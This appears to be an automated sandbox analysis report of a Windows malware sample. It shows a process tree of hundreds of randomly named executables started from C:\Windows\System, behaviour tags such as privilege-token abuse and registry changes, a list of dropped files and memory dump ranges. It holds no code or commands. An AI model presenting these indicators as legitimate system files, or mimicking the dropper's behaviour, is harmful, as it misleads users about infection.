C:\Windows\System\hPMCwcS.exeC:\Windows\System\hPMCwcS.exe2⤵
-
-
C:\Windows\System\MEcakZq.exeC:\Windows\System\MEcakZq.exe2⤵
-
-
C:\Windows\System\BtPfEvA.exeC:\Windows\System\BtPfEvA.exe2⤵
-
-
C:\Windows\System\rhKrOVp.exeC:\Windows\System\rhKrOVp.exe2⤵
-
-
C:\Windows\System\ueKZkNt.exeC:\Windows\System\ueKZkNt.exe2⤵
-
-
C:\Windows\System\LHUyyaZ.exeC:\Windows\System\LHUyyaZ.exe2⤵
-
-
C:\Windows\System\oiBafad.exeC:\Windows\System\oiBafad.exe2⤵
-
-
C:\Windows\System\sbNYrLD.exeC:\Windows\System\sbNYrLD.exe2⤵
-
-
C:\Windows\System\aLPFwrO.exeC:\Windows\System\aLPFwrO.exe2⤵
-
-
C:\Windows\System\aXgqXbY.exeC:\Windows\System\aXgqXbY.exe2⤵
-
-
C:\Windows\System\dOxkdwy.exeC:\Windows\System\dOxkdwy.exe2⤵
-
-
C:\Windows\System\FDZeoxh.exeC:\Windows\System\FDZeoxh.exe2⤵
-
-
C:\Windows\System\rfJYEXQ.exeC:\Windows\System\rfJYEXQ.exe2⤵
-
-
C:\Windows\System\XwwUzqa.exeC:\Windows\System\XwwUzqa.exe2⤵
-
-
C:\Windows\System\HidmkaW.exeC:\Windows\System\HidmkaW.exe2⤵
-
-
C:\Windows\System\wrVsIAB.exeC:\Windows\System\wrVsIAB.exe2⤵
-
-
C:\Windows\System\nYjfaGd.exeC:\Windows\System\nYjfaGd.exe2⤵
-
-
C:\Windows\System\iRlbpwY.exeC:\Windows\System\iRlbpwY.exe2⤵
-
-
C:\Windows\System\hkYCeXD.exeC:\Windows\System\hkYCeXD.exe2⤵
-
-
C:\Windows\System\nhhKARP.exeC:\Windows\System\nhhKARP.exe2⤵
-
-
C:\Windows\System\kjwwAxY.exeC:\Windows\System\kjwwAxY.exe2⤵
-
-
C:\Windows\System\hFTVHWk.exeC:\Windows\System\hFTVHWk.exe2⤵
-
-
C:\Windows\System\CQFaqUq.exeC:\Windows\System\CQFaqUq.exe2⤵
-
-
C:\Windows\System\XIqxkNm.exeC:\Windows\System\XIqxkNm.exe2⤵
-
-
C:\Windows\System\gpANnPP.exeC:\Windows\System\gpANnPP.exe2⤵
-
-
C:\Windows\System\VqoQNXp.exeC:\Windows\System\VqoQNXp.exe2⤵
-
-
C:\Windows\System\EDZraLz.exeC:\Windows\System\EDZraLz.exe2⤵
-
-
C:\Windows\System\TmFMYsR.exeC:\Windows\System\TmFMYsR.exe2⤵
-
-
C:\Windows\System\AfbcPvX.exeC:\Windows\System\AfbcPvX.exe2⤵
-
-
C:\Windows\System\LMvYCub.exeC:\Windows\System\LMvYCub.exe2⤵
-
-
C:\Windows\System\cGZNrKh.exeC:\Windows\System\cGZNrKh.exe2⤵
-
-
C:\Windows\System\YofNfkx.exeC:\Windows\System\YofNfkx.exe2⤵
-
-
C:\Windows\System\pInEpGi.exeC:\Windows\System\pInEpGi.exe2⤵
-
-
C:\Windows\System\ZRkIemQ.exeC:\Windows\System\ZRkIemQ.exe2⤵
-
-
C:\Windows\System\yOkeRht.exeC:\Windows\System\yOkeRht.exe2⤵
-
-
C:\Windows\System\IUgfTQG.exeC:\Windows\System\IUgfTQG.exe2⤵
-
-
C:\Windows\System\sDKbOBK.exeC:\Windows\System\sDKbOBK.exe2⤵
-
-
C:\Windows\System\KSGDwst.exeC:\Windows\System\KSGDwst.exe2⤵
-
-
C:\Windows\System\AbkJBQR.exeC:\Windows\System\AbkJBQR.exe2⤵
-
-
C:\Windows\System\ntrhEPp.exeC:\Windows\System\ntrhEPp.exe2⤵
-
-
C:\Windows\System\BxuObif.exeC:\Windows\System\BxuObif.exe2⤵
-
-
C:\Windows\System\ASjgxfT.exeC:\Windows\System\ASjgxfT.exe2⤵
-
-
C:\Windows\System\gPHVhfb.exeC:\Windows\System\gPHVhfb.exe2⤵
-
-
C:\Windows\System\gPfEPaS.exeC:\Windows\System\gPfEPaS.exe2⤵
-
-
C:\Windows\System\isuknVQ.exeC:\Windows\System\isuknVQ.exe2⤵
-
-
C:\Windows\System\FceneEJ.exeC:\Windows\System\FceneEJ.exe2⤵
-
-
C:\Windows\System\Xuafjyy.exeC:\Windows\System\Xuafjyy.exe2⤵
-
-
C:\Windows\System\cndpbUM.exeC:\Windows\System\cndpbUM.exe2⤵
-
-
C:\Windows\System\ZBjgPbJ.exeC:\Windows\System\ZBjgPbJ.exe2⤵
-
-
C:\Windows\System\XfDQvtP.exeC:\Windows\System\XfDQvtP.exe2⤵
-
-
C:\Windows\System\LCbFBXo.exeC:\Windows\System\LCbFBXo.exe2⤵
-
-
C:\Windows\System\mFpbIOe.exeC:\Windows\System\mFpbIOe.exe2⤵
-
-
C:\Windows\System\firEHez.exeC:\Windows\System\firEHez.exe2⤵
-
-
C:\Windows\System\RLqxGOI.exeC:\Windows\System\RLqxGOI.exe2⤵
-
-
C:\Windows\System\BxSfePb.exeC:\Windows\System\BxSfePb.exe2⤵
-
-
C:\Windows\System\eFxDWVt.exeC:\Windows\System\eFxDWVt.exe2⤵
-
-
C:\Windows\System\QNdSwvM.exeC:\Windows\System\QNdSwvM.exe2⤵
-
-
C:\Windows\System\OHTVcZb.exeC:\Windows\System\OHTVcZb.exe2⤵
-
-
C:\Windows\System\merxLrG.exeC:\Windows\System\merxLrG.exe2⤵
-
-
C:\Windows\System\XsizTKB.exeC:\Windows\System\XsizTKB.exe2⤵
-
-
C:\Windows\System\apQvZqf.exeC:\Windows\System\apQvZqf.exe2⤵
-
-
C:\Windows\System\iMGEOxT.exeC:\Windows\System\iMGEOxT.exe2⤵
-
-
C:\Windows\System\kScPPpq.exeC:\Windows\System\kScPPpq.exe2⤵
-
-
C:\Windows\System\wkVsKlM.exeC:\Windows\System\wkVsKlM.exe2⤵
-
-
C:\Windows\System\DMfmcJi.exeC:\Windows\System\DMfmcJi.exe2⤵
-
-
C:\Windows\System\vptRetp.exeC:\Windows\System\vptRetp.exe2⤵
-
-
C:\Windows\System\evlavso.exeC:\Windows\System\evlavso.exe2⤵
-
-
C:\Windows\System\dqtEGqG.exeC:\Windows\System\dqtEGqG.exe2⤵
-
-
C:\Windows\System\zfqqibm.exeC:\Windows\System\zfqqibm.exe2⤵
-
-
C:\Windows\System\bYqiyvS.exeC:\Windows\System\bYqiyvS.exe2⤵
-
-
C:\Windows\System\MvHWiFD.exeC:\Windows\System\MvHWiFD.exe2⤵
-
-
C:\Windows\System\KwwvbRd.exeC:\Windows\System\KwwvbRd.exe2⤵
-
-
C:\Windows\System\BdwAhpH.exeC:\Windows\System\BdwAhpH.exe2⤵
-
-
C:\Windows\System\LsjdcQi.exeC:\Windows\System\LsjdcQi.exe2⤵
-
-
C:\Windows\System\qdlxgOq.exeC:\Windows\System\qdlxgOq.exe2⤵
-
-
C:\Windows\System\iFmrNRb.exeC:\Windows\System\iFmrNRb.exe2⤵
-
-
C:\Windows\System\lejCAsX.exeC:\Windows\System\lejCAsX.exe2⤵
-
-
C:\Windows\System\yaDwypL.exeC:\Windows\System\yaDwypL.exe2⤵
-
-
C:\Windows\System\hSNqeBV.exeC:\Windows\System\hSNqeBV.exe2⤵
-
-
C:\Windows\System\aDoRuZr.exeC:\Windows\System\aDoRuZr.exe2⤵
-
-
C:\Windows\System\rSAfKwt.exeC:\Windows\System\rSAfKwt.exe2⤵
-
-
C:\Windows\System\KyEdTAo.exeC:\Windows\System\KyEdTAo.exe2⤵
-
-
C:\Windows\System\WuTYoFt.exeC:\Windows\System\WuTYoFt.exe2⤵
-
-
C:\Windows\System\vnrsFRx.exeC:\Windows\System\vnrsFRx.exe2⤵
-
-
C:\Windows\System\YJUpExg.exeC:\Windows\System\YJUpExg.exe2⤵
-
-
C:\Windows\System\hFlYgfz.exeC:\Windows\System\hFlYgfz.exe2⤵
-
-
C:\Windows\System\UoppeHs.exeC:\Windows\System\UoppeHs.exe2⤵
-
-
C:\Windows\System\LRLkBQJ.exeC:\Windows\System\LRLkBQJ.exe2⤵
-
-
C:\Windows\System\OrpqTtT.exeC:\Windows\System\OrpqTtT.exe2⤵
-
-
C:\Windows\System\mYbvAZQ.exeC:\Windows\System\mYbvAZQ.exe2⤵
-
-
C:\Windows\System\uKfUxin.exeC:\Windows\System\uKfUxin.exe2⤵
-
-
C:\Windows\System\OZLuJgv.exeC:\Windows\System\OZLuJgv.exe2⤵
-
-
C:\Windows\System\dmASwQb.exeC:\Windows\System\dmASwQb.exe2⤵
-
-
C:\Windows\System\iieXLRP.exeC:\Windows\System\iieXLRP.exe2⤵
-
-
C:\Windows\System\EbHIWGN.exeC:\Windows\System\EbHIWGN.exe2⤵
-
-
C:\Windows\System\YiYsRFX.exeC:\Windows\System\YiYsRFX.exe2⤵
-
-
C:\Windows\System\EmGCvYL.exeC:\Windows\System\EmGCvYL.exe2⤵
-
-
C:\Windows\System\VvXzKYC.exeC:\Windows\System\VvXzKYC.exe2⤵
-
-
C:\Windows\System\ZKVZHqY.exeC:\Windows\System\ZKVZHqY.exe2⤵
-
-
C:\Windows\System\wqKIXIo.exeC:\Windows\System\wqKIXIo.exe2⤵
-
-
C:\Windows\System\NhwbZYu.exeC:\Windows\System\NhwbZYu.exe2⤵
-
-
C:\Windows\System\vTsaEOf.exeC:\Windows\System\vTsaEOf.exe2⤵
-
-
C:\Windows\System\FxXATpl.exeC:\Windows\System\FxXATpl.exe2⤵
-
-
C:\Windows\System\IMxtMNT.exeC:\Windows\System\IMxtMNT.exe2⤵
-
-
C:\Windows\System\iZqtvag.exeC:\Windows\System\iZqtvag.exe2⤵
-
-
C:\Windows\System\xGKVHQF.exeC:\Windows\System\xGKVHQF.exe2⤵
-
-
C:\Windows\System\lKcJKuN.exeC:\Windows\System\lKcJKuN.exe2⤵
-
-
C:\Windows\System\SOQAVeB.exeC:\Windows\System\SOQAVeB.exe2⤵
-
-
C:\Windows\System\POcEUcM.exeC:\Windows\System\POcEUcM.exe2⤵
-
-
C:\Windows\System\KAbCfNq.exeC:\Windows\System\KAbCfNq.exe2⤵
-
-
C:\Windows\System\QtBzldt.exeC:\Windows\System\QtBzldt.exe2⤵
-
-
C:\Windows\System\LvyhHTg.exeC:\Windows\System\LvyhHTg.exe2⤵
-
-
C:\Windows\System\NXJmzuv.exeC:\Windows\System\NXJmzuv.exe2⤵
-
-
C:\Windows\System\gdXOrnp.exeC:\Windows\System\gdXOrnp.exe2⤵
-
-
C:\Windows\System\LKUHtIC.exeC:\Windows\System\LKUHtIC.exe2⤵
-
-
C:\Windows\System\ZNJOgBE.exeC:\Windows\System\ZNJOgBE.exe2⤵
-
-
C:\Windows\System\XJItxAW.exeC:\Windows\System\XJItxAW.exe2⤵
-
-
C:\Windows\System\oLQmscR.exeC:\Windows\System\oLQmscR.exe2⤵
-
-
C:\Windows\System\wqztPMr.exeC:\Windows\System\wqztPMr.exe2⤵
-
-
C:\Windows\System\yxqfHMh.exeC:\Windows\System\yxqfHMh.exe2⤵
-
-
C:\Windows\System\wpFcHEn.exeC:\Windows\System\wpFcHEn.exe2⤵
-
-
C:\Windows\System\JIVmzve.exeC:\Windows\System\JIVmzve.exe2⤵
-
-
C:\Windows\System\UxFJUYV.exeC:\Windows\System\UxFJUYV.exe2⤵
-
-
C:\Windows\System\hnsjJnZ.exeC:\Windows\System\hnsjJnZ.exe2⤵
-
-
C:\Windows\System\iPhjDSI.exeC:\Windows\System\iPhjDSI.exe2⤵
-
-
C:\Windows\System\TsXanuS.exeC:\Windows\System\TsXanuS.exe2⤵
-
-
C:\Windows\System\zVmLOND.exeC:\Windows\System\zVmLOND.exe2⤵
-
-
C:\Windows\System\RbPzWwY.exeC:\Windows\System\RbPzWwY.exe2⤵
-
-
C:\Windows\System\idYDWox.exeC:\Windows\System\idYDWox.exe2⤵
-
-
C:\Windows\System\cMdLEdy.exeC:\Windows\System\cMdLEdy.exe2⤵
-
-
C:\Windows\System\XwMmQjL.exeC:\Windows\System\XwMmQjL.exe2⤵
-
-
C:\Windows\System\HypudFr.exeC:\Windows\System\HypudFr.exe2⤵
-
-
C:\Windows\System\Reudjtp.exeC:\Windows\System\Reudjtp.exe2⤵
-
-
C:\Windows\System\QMRrHaC.exeC:\Windows\System\QMRrHaC.exe2⤵
-
-
C:\Windows\System\fJgYuke.exeC:\Windows\System\fJgYuke.exe2⤵
-
-
C:\Windows\System\KeRkrvf.exeC:\Windows\System\KeRkrvf.exe2⤵
-
-
C:\Windows\System\fuCGwlA.exeC:\Windows\System\fuCGwlA.exe2⤵
-
-
C:\Windows\System\bPWIekQ.exeC:\Windows\System\bPWIekQ.exe2⤵
-
-
C:\Windows\System\crrjyOy.exeC:\Windows\System\crrjyOy.exe2⤵
-
-
C:\Windows\System\TwspEGI.exeC:\Windows\System\TwspEGI.exe2⤵
-
-
C:\Windows\System\ZzJzRDj.exeC:\Windows\System\ZzJzRDj.exe2⤵
-
-
C:\Windows\System\JoODLBT.exeC:\Windows\System\JoODLBT.exe2⤵
-
-
C:\Windows\System\JLPTAcd.exeC:\Windows\System\JLPTAcd.exe2⤵
-
-
C:\Windows\System\XvqhodW.exeC:\Windows\System\XvqhodW.exe2⤵
-
-
C:\Windows\System\XgpUgFg.exeC:\Windows\System\XgpUgFg.exe2⤵
-
-
C:\Windows\System\FcGetco.exeC:\Windows\System\FcGetco.exe2⤵
-
-
C:\Windows\System\kHCXPMT.exeC:\Windows\System\kHCXPMT.exe2⤵
-
-
C:\Windows\System\bpVLgij.exeC:\Windows\System\bpVLgij.exe2⤵
-
-
C:\Windows\System\FFvdTEZ.exeC:\Windows\System\FFvdTEZ.exe2⤵
-
-
C:\Windows\System\EojnTlx.exeC:\Windows\System\EojnTlx.exe2⤵
-
-
C:\Windows\System\ktQqByU.exeC:\Windows\System\ktQqByU.exe2⤵
-
-
C:\Windows\System\yYPZqzl.exeC:\Windows\System\yYPZqzl.exe2⤵
-
-
C:\Windows\System\RZbkMqC.exeC:\Windows\System\RZbkMqC.exe2⤵
-
-
C:\Windows\System\cQsdTPv.exeC:\Windows\System\cQsdTPv.exe2⤵
-
-
C:\Windows\System\kddCTLH.exeC:\Windows\System\kddCTLH.exe2⤵
-
-
C:\Windows\System\YpigTfN.exeC:\Windows\System\YpigTfN.exe2⤵
-
-
C:\Windows\System\cjoaGNx.exeC:\Windows\System\cjoaGNx.exe2⤵
-
-
C:\Windows\System\VraWWxl.exeC:\Windows\System\VraWWxl.exe2⤵
-
-
C:\Windows\System\KtIKluC.exeC:\Windows\System\KtIKluC.exe2⤵
-
-
C:\Windows\System\yOQqnSS.exeC:\Windows\System\yOQqnSS.exe2⤵
-
-
C:\Windows\System\LzjBCjk.exeC:\Windows\System\LzjBCjk.exe2⤵
-
-
C:\Windows\System\ErNtStB.exeC:\Windows\System\ErNtStB.exe2⤵
-
-
C:\Windows\System\JVbpvLz.exeC:\Windows\System\JVbpvLz.exe2⤵
-
-
C:\Windows\System\hwMTwNI.exeC:\Windows\System\hwMTwNI.exe2⤵
-
-
C:\Windows\System\VxNeUYI.exeC:\Windows\System\VxNeUYI.exe2⤵
-
-
C:\Windows\System\YLwxuVx.exeC:\Windows\System\YLwxuVx.exe2⤵
-
-
C:\Windows\System\tQiOQaT.exeC:\Windows\System\tQiOQaT.exe2⤵
-
-
C:\Windows\System\ThygYnm.exeC:\Windows\System\ThygYnm.exe2⤵
-
-
C:\Windows\System\ilbItFL.exeC:\Windows\System\ilbItFL.exe2⤵
-
-
C:\Windows\System\jcoNZBE.exeC:\Windows\System\jcoNZBE.exe2⤵
-
-
C:\Windows\System\yYeNJrK.exeC:\Windows\System\yYeNJrK.exe2⤵
-
-
C:\Windows\System\bgyQBIU.exeC:\Windows\System\bgyQBIU.exe2⤵
-
-
C:\Windows\System\ClFOIkl.exeC:\Windows\System\ClFOIkl.exe2⤵
-
-
C:\Windows\System\zDBjnsF.exeC:\Windows\System\zDBjnsF.exe2⤵
-
-
C:\Windows\System\XFPucPl.exeC:\Windows\System\XFPucPl.exe2⤵
-
-
C:\Windows\System\NcaYLNN.exeC:\Windows\System\NcaYLNN.exe2⤵
-
-
C:\Windows\System\kZHxObn.exeC:\Windows\System\kZHxObn.exe2⤵
-
-
C:\Windows\System\kEnuQRF.exeC:\Windows\System\kEnuQRF.exe2⤵
-
-
C:\Windows\System\SlWmQKD.exeC:\Windows\System\SlWmQKD.exe2⤵
-
-
C:\Windows\System\TRGBzch.exeC:\Windows\System\TRGBzch.exe2⤵
-
-
C:\Windows\System\quZVqVh.exeC:\Windows\System\quZVqVh.exe2⤵
-
-
C:\Windows\System\ISXbsng.exeC:\Windows\System\ISXbsng.exe2⤵
-
-
C:\Windows\System\JhLupVl.exeC:\Windows\System\JhLupVl.exe2⤵
-
-
C:\Windows\System\IqCahyF.exeC:\Windows\System\IqCahyF.exe2⤵
-
-
C:\Windows\System\NUeeEzi.exeC:\Windows\System\NUeeEzi.exe2⤵
-
-
C:\Windows\System\ayPdWIn.exeC:\Windows\System\ayPdWIn.exe2⤵
-
-
C:\Windows\System\GMENmyW.exeC:\Windows\System\GMENmyW.exe2⤵
-
-
C:\Windows\System\bqHLEbr.exeC:\Windows\System\bqHLEbr.exe2⤵
-
-
C:\Windows\System\ILJxMfO.exeC:\Windows\System\ILJxMfO.exe2⤵
-
-
C:\Windows\System\UvKClas.exeC:\Windows\System\UvKClas.exe2⤵
-
-
C:\Windows\System\FGTVeYQ.exeC:\Windows\System\FGTVeYQ.exe2⤵
-
-
C:\Windows\System\cYhYGCG.exeC:\Windows\System\cYhYGCG.exe2⤵
-
-
C:\Windows\System\teNUCpc.exeC:\Windows\System\teNUCpc.exe2⤵
-
-
C:\Windows\System\gIZgbdg.exeC:\Windows\System\gIZgbdg.exe2⤵
-
-
C:\Windows\System\plIefrc.exeC:\Windows\System\plIefrc.exe2⤵
-
-
C:\Windows\System\JGzNWlf.exeC:\Windows\System\JGzNWlf.exe2⤵
-
-
C:\Windows\System\FCsfQeh.exeC:\Windows\System\FCsfQeh.exe2⤵
-
-
C:\Windows\System\VgZlSel.exeC:\Windows\System\VgZlSel.exe2⤵
-
-
C:\Windows\System\LZEOmnm.exeC:\Windows\System\LZEOmnm.exe2⤵
-
-
C:\Windows\System\ECGJogj.exeC:\Windows\System\ECGJogj.exe2⤵
-
-
C:\Windows\System\CgpCayP.exeC:\Windows\System\CgpCayP.exe2⤵
-
-
C:\Windows\System\ZMYIkNU.exeC:\Windows\System\ZMYIkNU.exe2⤵
-
-
C:\Windows\System\ZplmiLZ.exeC:\Windows\System\ZplmiLZ.exe2⤵
-
-
C:\Windows\System\tmCMiAt.exeC:\Windows\System\tmCMiAt.exe2⤵
-
-
C:\Windows\System\HZWfaPM.exeC:\Windows\System\HZWfaPM.exe2⤵
-
-
C:\Windows\System\AZXMlzC.exeC:\Windows\System\AZXMlzC.exe2⤵
-
-
C:\Windows\System\jTlUHaC.exeC:\Windows\System\jTlUHaC.exe2⤵
-
-
C:\Windows\System\SasPeiq.exeC:\Windows\System\SasPeiq.exe2⤵
-
-
C:\Windows\System\KtcxXeC.exeC:\Windows\System\KtcxXeC.exe2⤵
-
-
C:\Windows\System\OMTZnPX.exeC:\Windows\System\OMTZnPX.exe2⤵
-
-
C:\Windows\System\hAPKcZr.exeC:\Windows\System\hAPKcZr.exe2⤵
-
-
C:\Windows\System\LPRrVkQ.exeC:\Windows\System\LPRrVkQ.exe2⤵
-
-
C:\Windows\System\tnCgiTH.exeC:\Windows\System\tnCgiTH.exe2⤵
-
-
C:\Windows\System\wjXbkFa.exeC:\Windows\System\wjXbkFa.exe2⤵
-
-
C:\Windows\System\iUuGRoY.exeC:\Windows\System\iUuGRoY.exe2⤵
-
-
C:\Windows\System\bwTVjtK.exeC:\Windows\System\bwTVjtK.exe2⤵
-
-
C:\Windows\System\YuriEXA.exeC:\Windows\System\YuriEXA.exe2⤵
-
-
C:\Windows\System\wthemkw.exeC:\Windows\System\wthemkw.exe2⤵
-
-
C:\Windows\System\qERVCyC.exeC:\Windows\System\qERVCyC.exe2⤵
-
-
C:\Windows\System\rwqWUTJ.exeC:\Windows\System\rwqWUTJ.exe2⤵
-
-
C:\Windows\System\pKrCrJz.exeC:\Windows\System\pKrCrJz.exe2⤵
-
-
C:\Windows\System\IYTKzEn.exeC:\Windows\System\IYTKzEn.exe2⤵
-
-
C:\Windows\System\fMlStBF.exeC:\Windows\System\fMlStBF.exe2⤵
-
-
C:\Windows\System\XALXpeq.exeC:\Windows\System\XALXpeq.exe2⤵
-
-
C:\Windows\System\WnhAbMQ.exeC:\Windows\System\WnhAbMQ.exe2⤵
-
-
C:\Windows\System\YMBZGnO.exeC:\Windows\System\YMBZGnO.exe2⤵
-
-
C:\Windows\System\wkeFxfA.exeC:\Windows\System\wkeFxfA.exe2⤵
-
-
C:\Windows\System\FicJsQb.exeC:\Windows\System\FicJsQb.exe2⤵
-
-
C:\Windows\System\GiVvQLe.exeC:\Windows\System\GiVvQLe.exe2⤵
-
-
C:\Windows\System\YzBNbee.exeC:\Windows\System\YzBNbee.exe2⤵
-
-
C:\Windows\System\LMrnOut.exeC:\Windows\System\LMrnOut.exe2⤵
-
-
C:\Windows\System\FwyeZUD.exeC:\Windows\System\FwyeZUD.exe2⤵
-
-
C:\Windows\System\zAVUKJD.exeC:\Windows\System\zAVUKJD.exe2⤵
-
-
C:\Windows\System\EkeDTxQ.exeC:\Windows\System\EkeDTxQ.exe2⤵
-
-
C:\Windows\System\fZkqKZD.exeC:\Windows\System\fZkqKZD.exe2⤵
-
-
C:\Windows\System\hxZtXzi.exeC:\Windows\System\hxZtXzi.exe2⤵
-
-
C:\Windows\System\kquLVju.exeC:\Windows\System\kquLVju.exe2⤵
-
-
C:\Windows\System\UaArxFo.exeC:\Windows\System\UaArxFo.exe2⤵
-
-
C:\Windows\System\kjxYadf.exeC:\Windows\System\kjxYadf.exe2⤵
-
-
C:\Windows\System\hLNVHPI.exeC:\Windows\System\hLNVHPI.exe2⤵
-
-
C:\Windows\System\FaqAHCj.exeC:\Windows\System\FaqAHCj.exe2⤵
-
-
C:\Windows\System\qsVBwGV.exeC:\Windows\System\qsVBwGV.exe2⤵
-
-
C:\Windows\System\yIdydez.exeC:\Windows\System\yIdydez.exe2⤵
-
-
C:\Windows\System\FhJJnay.exeC:\Windows\System\FhJJnay.exe2⤵
-
-
C:\Windows\System\nYdzkuu.exeC:\Windows\System\nYdzkuu.exe2⤵
-
-
C:\Windows\System\AFrZmjb.exeC:\Windows\System\AFrZmjb.exe2⤵
-
-
C:\Windows\System\RdzhrVE.exeC:\Windows\System\RdzhrVE.exe2⤵
-
-
C:\Windows\System\DFyLCIT.exeC:\Windows\System\DFyLCIT.exe2⤵
-
-
C:\Windows\System\iLkpTDM.exeC:\Windows\System\iLkpTDM.exe2⤵
-
-
C:\Windows\System\aWzjhxw.exeC:\Windows\System\aWzjhxw.exe2⤵
-
-
C:\Windows\System\VmAWzBu.exeC:\Windows\System\VmAWzBu.exe2⤵
-
-
C:\Windows\System\OtYUyAJ.exeC:\Windows\System\OtYUyAJ.exe2⤵
-
-
C:\Windows\System\QwwlOTZ.exeC:\Windows\System\QwwlOTZ.exe2⤵
-
-
C:\Windows\System\xGNyxHG.exeC:\Windows\System\xGNyxHG.exe2⤵
-
-
C:\Windows\System\ZwnXBLn.exeC:\Windows\System\ZwnXBLn.exe2⤵
-
-
C:\Windows\System\JHeUqwp.exeC:\Windows\System\JHeUqwp.exe2⤵
-
-
C:\Windows\System\ICIJlXR.exeC:\Windows\System\ICIJlXR.exe2⤵
-
-
C:\Windows\System\RuXfdUz.exeC:\Windows\System\RuXfdUz.exe2⤵
-
-
C:\Windows\System\mSabAVF.exeC:\Windows\System\mSabAVF.exe2⤵
-
-
C:\Windows\System\wJpABXC.exeC:\Windows\System\wJpABXC.exe2⤵
-
-
C:\Windows\System\EMaUSbC.exeC:\Windows\System\EMaUSbC.exe2⤵
-
-
C:\Windows\System\qEfDoAg.exeC:\Windows\System\qEfDoAg.exe2⤵
-
-
C:\Windows\System\maPKBBz.exeC:\Windows\System\maPKBBz.exe2⤵
-
-
C:\Windows\System\pHSvcKB.exeC:\Windows\System\pHSvcKB.exe2⤵
-
-
C:\Windows\System\NVOqlNi.exeC:\Windows\System\NVOqlNi.exe2⤵
-
-
C:\Windows\System\NTFkzBx.exeC:\Windows\System\NTFkzBx.exe2⤵
-
-
C:\Windows\System\musRMbb.exeC:\Windows\System\musRMbb.exe2⤵
-
-
C:\Windows\System\mLavxFZ.exeC:\Windows\System\mLavxFZ.exe2⤵
-
-
C:\Windows\system32\dwm.exe"dwm.exe"1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFaultSecure.exeC:\Windows\system32\WerFaultSecure.exe -u -p 2696 -s 21681⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_ce22syvj.lqg.ps1
KDmKpFX.exe
KcTAJLS.exe
LByGYcN.exe
LCqOxCo.exe
MQamPVi.exe
PAWECQB.exe
RUXeJUv.exe
RzkmLfU.exe
TNycEdp.exe
TefSDon.exe
VVznLKO.exe
WCwCTEh.exe
WQHOXMc.exe
YrMKyDu.exe
ZwGYRFj.exe
eArVEOq.exe
fKPhgRA.exe
fMtTxMe.exe
gAbCLzZ.exe
gQdHaxm.exe
hpyYPdr.exe
jPNHMVs.exe
kMlaWMd.exe
mwwzhsD.exe
noGwNza.exe
pamzTyK.exe
pnmSDxB.exe
sKZNtAS.exe
vJqMvwb.exe
wGcMSAM.exe
wYlUNNy.exe
yTHuUwX.exe
ylIsERY.exe
yvdQRun.exe
memory/8-2206-0x00007FF6A5B70000-0x00007FF6A5F66000-memory.dmp
memory/8-27-0x00007FF6A5B70000-0x00007FF6A5F66000-memory.dmp
memory/428-108-0x00007FF7AEE50000-0x00007FF7AF246000-memory.dmp
memory/428-2214-0x00007FF7AEE50000-0x00007FF7AF246000-memory.dmp
memory/736-2205-0x00007FF708180000-0x00007FF708576000-memory.dmp
memory/736-1866-0x00007FF708180000-0x00007FF708576000-memory.dmp
memory/736-10-0x00007FF708180000-0x00007FF708576000-memory.dmp
memory/1084-2226-0x00007FF7DDDC0000-0x00007FF7DE1B6000-memory.dmp
memory/1084-146-0x00007FF7DDDC0000-0x00007FF7DE1B6000-memory.dmp
memory/1620-2233-0x00007FF6E4820000-0x00007FF6E4C16000-memory.dmp
memory/1620-138-0x00007FF6E4820000-0x00007FF6E4C16000-memory.dmp
memory/1636-2237-0x00007FF65C620000-0x00007FF65CA16000-memory.dmp
memory/1636-195-0x00007FF65C620000-0x00007FF65CA16000-memory.dmp
memory/1636-2204-0x00007FF65C620000-0x00007FF65CA16000-memory.dmp
memory/1852-141-0x00007FF7CB840000-0x00007FF7CBC36000-memory.dmp
memory/1852-2234-0x00007FF7CB840000-0x00007FF7CBC36000-memory.dmp
memory/2068-109-0x00007FF7F2800000-0x00007FF7F2BF6000-memory.dmp
memory/2068-2215-0x00007FF7F2800000-0x00007FF7F2BF6000-memory.dmp
memory/2340-137-0x00007FF6FD490000-0x00007FF6FD886000-memory.dmp
memory/2340-2231-0x00007FF6FD490000-0x00007FF6FD886000-memory.dmp
memory/2532-2232-0x00007FF770550000-0x00007FF770946000-memory.dmp
memory/2532-132-0x00007FF770550000-0x00007FF770946000-memory.dmp
memory/2656-140-0x00007FF789010000-0x00007FF789406000-memory.dmp
memory/2656-2235-0x00007FF789010000-0x00007FF789406000-memory.dmp
memory/2792-42-0x00007FF7F5570000-0x00007FF7F5966000-memory.dmp
memory/2792-2207-0x00007FF7F5570000-0x00007FF7F5966000-memory.dmp
memory/2792-2200-0x00007FF7F5570000-0x00007FF7F5966000-memory.dmp
memory/2952-52-0x00007FF623B60000-0x00007FF623F56000-memory.dmp
memory/2952-2209-0x00007FF623B60000-0x00007FF623F56000-memory.dmp
memory/2952-2201-0x00007FF623B60000-0x00007FF623F56000-memory.dmp
memory/3196-2208-0x00007FF7D0760000-0x00007FF7D0B56000-memory.dmp
memory/3196-69-0x00007FF7D0760000-0x00007FF7D0B56000-memory.dmp
memory/3248-2229-0x00007FF61EDF0000-0x00007FF61F1E6000-memory.dmp
memory/3248-136-0x00007FF61EDF0000-0x00007FF61F1E6000-memory.dmp
memory/3376-2202-0x00007FF63DBC0000-0x00007FF63DFB6000-memory.dmp
memory/3376-58-0x00007FF63DBC0000-0x00007FF63DFB6000-memory.dmp
memory/3376-2213-0x00007FF63DBC0000-0x00007FF63DFB6000-memory.dmp
memory/3404-2212-0x00007FF6DC350000-0x00007FF6DC746000-memory.dmp
memory/3404-144-0x00007FF6DC350000-0x00007FF6DC746000-memory.dmp
memory/4292-2211-0x00007FF741660000-0x00007FF741A56000-memory.dmp
memory/4292-143-0x00007FF741660000-0x00007FF741A56000-memory.dmp
memory/4356-142-0x00007FFF52840000-0x00007FFF53301000-memory.dmp
memory/4356-127-0x00000228BC4E0000-0x00000228BC502000-memory.dmp
memory/4356-2199-0x00007FFF52843000-0x00007FFF52845000-memory.dmp
memory/4356-11-0x00000228A3480000-0x00000228A3490000-memory.dmp
memory/4356-2203-0x00007FFF52840000-0x00007FFF53301000-memory.dmp
memory/4356-148-0x00000228BD060000-0x00000228BD806000-memory.dmp
memory/4356-2154-0x00000228A3480000-0x00000228A3490000-memory.dmp
memory/4356-12-0x00007FFF52843000-0x00007FFF52845000-memory.dmp
memory/4500-2230-0x00007FF6B6ED0000-0x00007FF6B72C6000-memory.dmp
